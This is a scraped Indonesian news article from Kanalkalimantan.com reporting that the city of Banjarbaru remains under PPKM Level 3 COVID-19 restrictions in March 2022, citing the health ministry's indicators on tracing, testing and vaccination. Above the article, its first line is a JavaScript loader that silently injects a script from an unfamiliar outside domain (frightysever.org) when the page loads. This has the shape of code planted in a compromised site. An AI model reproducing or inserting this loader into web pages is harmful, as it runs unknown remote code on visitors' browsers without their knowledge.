(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru masuk kategori Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3. PPKM Level 3 di kota berjuluk Idaman ini berlaku dari 15 hingga 28 Maret 2022.
Hasil assesment dari Kementerian Kesehatan (Kemenkes) Republik Indonesia memasukkan Banjarbaru dalam kategori PPKM Level 3 berdasarkan enam indikator.
Kota Banjarbaru sendiri mulai menetapkan PPKM Level 3 sudah dari 15 Februari 2022 hingga dua kali masa assesment belum bisa keluar dari kategori PPKM Level 3.
Koordinator Tim Surveilens Epidemiologi Penanggulangan Wabah Corona Virus Disease 2019 Dinas Kesehatan Kota Banjarbaru, Edi Sampana menyampaikan dari enam indikator penilaian Kemenkes RI, Banjarbaru masih menyisakan satu indikator dengan penilaian terbatas atau buruk.
Baca juga:Â Klaim Mendag Minyak Goreng Melimpah
“Kapasitas respon Banjarbaru dari indikator tracing masih terbatas atau buruk,” ucapnya.
Disamping itu dikatakan Edi, dari enam indikator tersebut Banjarbaru dinilai cukup baik pada tiga indikator dan kurang baik pada dua indikator.
“Karena masih ada satu indikator yang dinilai buruk maka kita tetap harus menerapkan PPKM Level 3,” tambahnya.
Untuk Kota Banjarbaru bisa lepas dari penilaian buruk pada penilaian tracing Kemenkes RI, Banjarbaru harus memperbaiki kapasitas respon.
Disamping itu juga untuk masyarakat yang pernah kontak erat terhadap warga yang terkonfimasi positif Covid-19 dan suspek bisa melakukan rapid antigen atau swab PCR.
“Diharapkan melakukan rapid antigen atau swab PCR pada 200 kontak erat dan suspek per hari,” tuntasnya.
Baca juga:Â Jualan Sabu di Depan Toko, Udin Ditangkap Satresnarkoba Polres Banjarbaru
Banjarbaru sendiri pada penilaian kapasitas komunitas berada di tingkat 2, hal ini berdasarkan beberapa indikator seperti kasus konfimasi berada di tingkat 2, rawat inap rumah sakit di tingkat 1 serta kasus kematian yang berada di tingkat 1.
Kemudian untuk kapasitas respon Kota Banjarbaru dinilai memadai, dengan beberapa indikatornya, testing dalam tingkatan sedang, tracing dinilai masih terbatas dan treatment masih dinilai memadai.
Terkait vaksinasi baik secara total untuk dosis 1 dan vaksinasi lansia dosis 1 Banjarbaru dinilai memadai. Dimana Kota Banjarbaru sudah mencapai 97,34 persen untuk jenjang usia 12 tahun ke atas dan vaksinasi lansia sudah mencapai 78,22 persen.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.